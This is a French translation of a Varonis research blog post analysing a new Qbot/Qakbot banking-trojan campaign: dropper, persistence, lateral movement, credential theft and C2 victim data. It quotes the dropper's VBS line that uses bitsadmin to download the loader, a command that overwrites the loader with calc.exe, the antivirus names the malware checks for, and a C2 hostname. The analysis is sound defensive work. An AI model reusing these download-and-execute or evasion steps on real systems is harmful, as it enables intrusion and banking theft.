Qbot : Varonis expose une campagne mondiale de cyberattaques – des Serveurs C&C compromettent activement des milliers de victimes

Qbot

L’équipe de recherche en cybersécurité de Varonis a découvert une campagne mondiale de cyberattaques utilisant une nouvelle souche du malware bancaire Qbot.
La campagne cible activement les entreprises américaines, mais a également touché des réseaux dans le monde entier – avec des victimes en Europe, en Asie et en Amérique du Sud – dans le but de voler des informations financières privées, y compris des identifiants de comptes bancaires.

Au cours de l’analyse, nous avons remonté la trace de cette souche de Qbot et identifié le serveur de contrôle et commande (C&C ou C2) actif de l’attaquant, ce qui nous a permis de déterminer l’échelle de l’attaque.
L’observation directe du serveur C&C montre que des milliers de victimes dans le monde entier sont compromises et sous contrôle actif des attaquants. Des informations supplémentaires trouvées sur le serveur C&C ont révélé des traces des acteurs de la menace qui se cachent derrière cette campagne.

L’attaque a d’abord été détectée par Varonis DatAlert qui a alerté un de nos clients nord-américains d’activités d’injection (Dropper), de mouvements latéraux internes et d’activités suspectes sur le réseau.

Notre équipe a partagé d’autres renseignements non publics avec les autorités compétentes et fait de la divulgation responsable.

Une nouvelle version du malware bancaire Qbot

Les acteurs de la menace ont utilisé une nouvelle variante de Qbot, un logiciel malveillant bien connu et sophistiqué conçu pour voler les identifiants bancaires.
Qbot utilise des techniques anti-analytiques, échappe fréquemment à la détection et utilise de nouveaux vecteurs d’infection pour rester en avance sur les défenseurs.

Le logiciel malveillant est polymorphe, ou en constante évolution :

  • Il crée des fichiers et des dossiers avec des noms aléatoires
  • Son injecteur change fréquemment de serveur C2
  • Le chargeur (loader) de malware change lorsqu’il y a une connexion Internet active (nous y reviendront)

Le Qbot (ou Qakbot) a été identifié pour la première fois en 2009 et a beaucoup évolué.
Il est principalement conçu pour la collecte de données relatives à l’activité de navigation et aux sites Web financiers. Ses capacités reproduisant celles d’un ver informatique lui permettent de se propager à travers le réseau d’une organisation et d’infecter d’autres systèmes.

Sa découverte

Notre équipe de criminalistique (forensics) a commencé à enquêter après avoir reçu un appel d’un client dont la récente implémentation de DatAlert les avait alertés d’une activité inhabituelle dans leurs systèmes. Notre équipe a déterminé qu’au moins un ordinateur avait été infecté par un logiciel malveillant et que celui-ci tentait de se propager à d’autres systèmes du réseau.

Un échantillon a été extrait et envoyé à notre équipe de recherche pour analyse, qui a identifié le malware comme une variante de Qbot/Qakbot. L’échantillon ne correspondait à aucun hash existant, et une enquête plus poussée a révélé qu’il s’agissait d’une nouvelle souche.

Phase 1 – L’Injecteur

Nom du fichier : REQ_02132019b.doc.vbs

Injecteur Qbot

Dans les versions précédentes de Qbot, le premier chargeur était un macro document Word.
Un fichier zip avec une extension .doc.vbs a été trouvé au cours de notre enquête, indiquant que la première infection a probablement été effectuée via un courriel d’hameçonnage (Phishing) qui a incité la victime à exécuter le fichier VBS malveillant.

Lors de l’exécution, le VBS extrait la version de l’OS de l’ordinateur de la victime et tente de détecter les logiciels antivirus courants installés sur le système.

Les chaînes de caractère AV que le logiciel malveillant cherche à inclure sont : Defender, Virus, Antivirus, Malw, Trend, Kaspersky, Kav, Mcafee, Antivirus, symantec

Dans cette variante, le malware utilise BITSAdmin pour télécharger le chargeur.
Cela semble être un nouveau comportement, car les échantillons précédents utilisaient PowerShell.

BITSAdmin télécharge le chargeur à partir de l’une des URL suivantes :

BITSadmin Qbot

Télécharger le chargeur à l’aide de BITSAdmin à partir du code VBS :

intReturn = wShell.Run(‘bitsadmin /transfer qahdejob’ & Second(Now) & ‘ /Priority HIGH ‘ & el & urlStr & ‘ ‘ & tempFile, 0, True)

Phase 2 – Persistance du malware et injection dans explorer.exe

Nom du fichier : widgetcontrol.png

Persistance Qbot

Le chargeur, qui exécute le logiciel malveillant principal, possède plusieurs versions et est constamment mis à jour, même après l’exécution. La version que la victime reçoit en cas d’infection dépend du paramètre sp (Stored Procedures) qui est codé en dur dans le fichier VBS.

Un point intéressant est que chaque version du chargeur est signée avec un certificat numérique différent. Les certificats valides indiquent généralement qu’un fichier est digne de confiance, alors que les exécutables non signés sont suspects.

Qbot est connu pour utiliser des certificats numériques faux ou volés, valides pour gagner en crédibilité et échapper à la détection sur le système d’exploitation.

Nous avons téléchargé toutes les versions disponibles du chargeur (voir IOCs ci-dessous) et cartographié les certificats.

Certificats utilisés par le malware :

  • Saiitech Systems Limited
  • ECDJB Limited
  • Hitish Patel Consulting Ltd
  • Doorga Limited
  • INTENTEK LIMITED
  • Austek Consulting Limited
  • IO Pro Limited
  • Vercoe IT Ltd
  • Edsabame Consultants Ltd
  • SOVA CONSULTANCY LTD

 

Exemple de l’un des certificats :

Exemple de l’un des certificats Qbot

Persistance

Lors de la première exécution, le chargeur se copie dans %Appdata%\Roaming\{Chaîne aléatoire} et crée ensuite ce qui suit :

chargeur Qbot

Explorer.exe Injecté

Le chargeur démarre un processus explorer.exe 32 bits et injecte ensuite les charges utiles principales.

Voici la mémoire d’explorer.exe avec la charge utile injectée comme segment de mémoire RWX :

charge utile Qbot injectée

Après l’injection, le chargeur écrase son exécutable d’origine avec la version 32 bits de calc.exe :

“C:\Windows\System32\cmd.exe” /c ping.exe -n 6 127.0.0.1 & type
“C:\Windows\System32\calc.exe” > C:\Users\{TKTKTK}\Desktop\1.exe

Phase 3 – Mouvements latéraux et vol d’argent

Après avoir garanti leur persistance, les principales charges utiles commencent à attaquer en brute-force les comptes sur le réseau.

Si le logiciel malveillant compromet un compte de domaine, il énumère le groupe “Domain Users” et force les comptes de la même manière.
Si le compte compromis est un compte local, le malware utilise une liste prédéfinie d’utilisateurs locaux.

Les tentatives d’authentification utilisent NTLM et l’API WNetAddConnection.

Nous avons extrait les noms d’utilisateur et les mots de passe utilisés par le malware pour tenter de forcer les comptes locaux (voir ici). Le logiciel malveillant cache ces dictionnaires de l’analyse statique, mais ils peuvent être extraits pendant l’exécution.

Image X32dbg d’explorer.exe essayant de se connecter à un ordinateur distant avec le nom d’utilisateur “Administrator” et le mot de passe “12345678” :

X32dbg d'explorer.exe Qbot

Montrez-moi l’argent

Le but principal de Qbot est de voler de l’argent à ses victimes ; il utilise plusieurs méthodes pour renvoyer des informations financières, d’identification et autres au serveur de l’attaquant :

  • Enregistrement de frappe (Keylogging) – Qbot capture chaque frappe que la victime entre et les envoie à l’attaquant.
  • Identifiants/cookies – Qbot recherche les identifiants/cookies enregistrés dans les navigateurs et les envoie à l’attaquant.
  • Hooking – la charge utile principale injecte à tous les processus dans le système, un code qui relie les appels API et les recherches pour des chaines de caractères financiers / bancaires.
    Le malware extrait ensuite les données, les informations d’identification, ou les cookies de session du processus et le télécharge vers le pirate.

L’image montre que lors de l’authentification sur le site bancaire buisnessline.huntington.com, le malware envoie les données POST et les cookies de session au serveur C2 content.bigflimz.com :

le malware envoie les données POST et les cookies de session au serveur C2 Qbot

Au sein du serveur C&C de l’attaquant

Sur l’un des sites de l’attaquant, nous avons pu trouver des fichiers de journaux contenant les adresses IP des victimes, les détails du système d’exploitation et les noms des produits antivirus.
Le serveur C&C a révélé des activités passées, ainsi que ce qui semble être des versions supplémentaires de logiciels malveillants (tableau des versions dans la section IOC, ci-dessous).

versions supplémentaires de Qbot

Certains des résultats peuvent contenir des doublons, mais ci-dessous se trouvent les 10 premiers pays, les produits anti-virus et les systèmes d’exploitation trouvés. Vous pouvez également trouver l’ensemble complet des données dans notre dépôt Github.

Victimes par Pays

Victimes Qbot par Pays

Nous avons trouvé 2 726 adresses IP uniques de victimes.
Comme de nombreuses organisations utilisent la traduction d’adresses de port qui masque les adresses IP internes, le nombre de victimes est probablement beaucoup plus élevé.

Victimes par Antivirus

 Victimes Qbot par Antivirus

Victimes par Système d’Exploitation

 Victimes Qbot par Système d’Exploitation

IOCs

Les IOC peuvent être trouvés sur Github ici.

Versions du Chargeur

La liste complète se trouve ici.

 

– Merci infiniment à Dolev Taler & Eric Saraga, chercheurs en Cybersécurité chez Varonis, et auteurs de la version originale anglaise de cet article du Blog.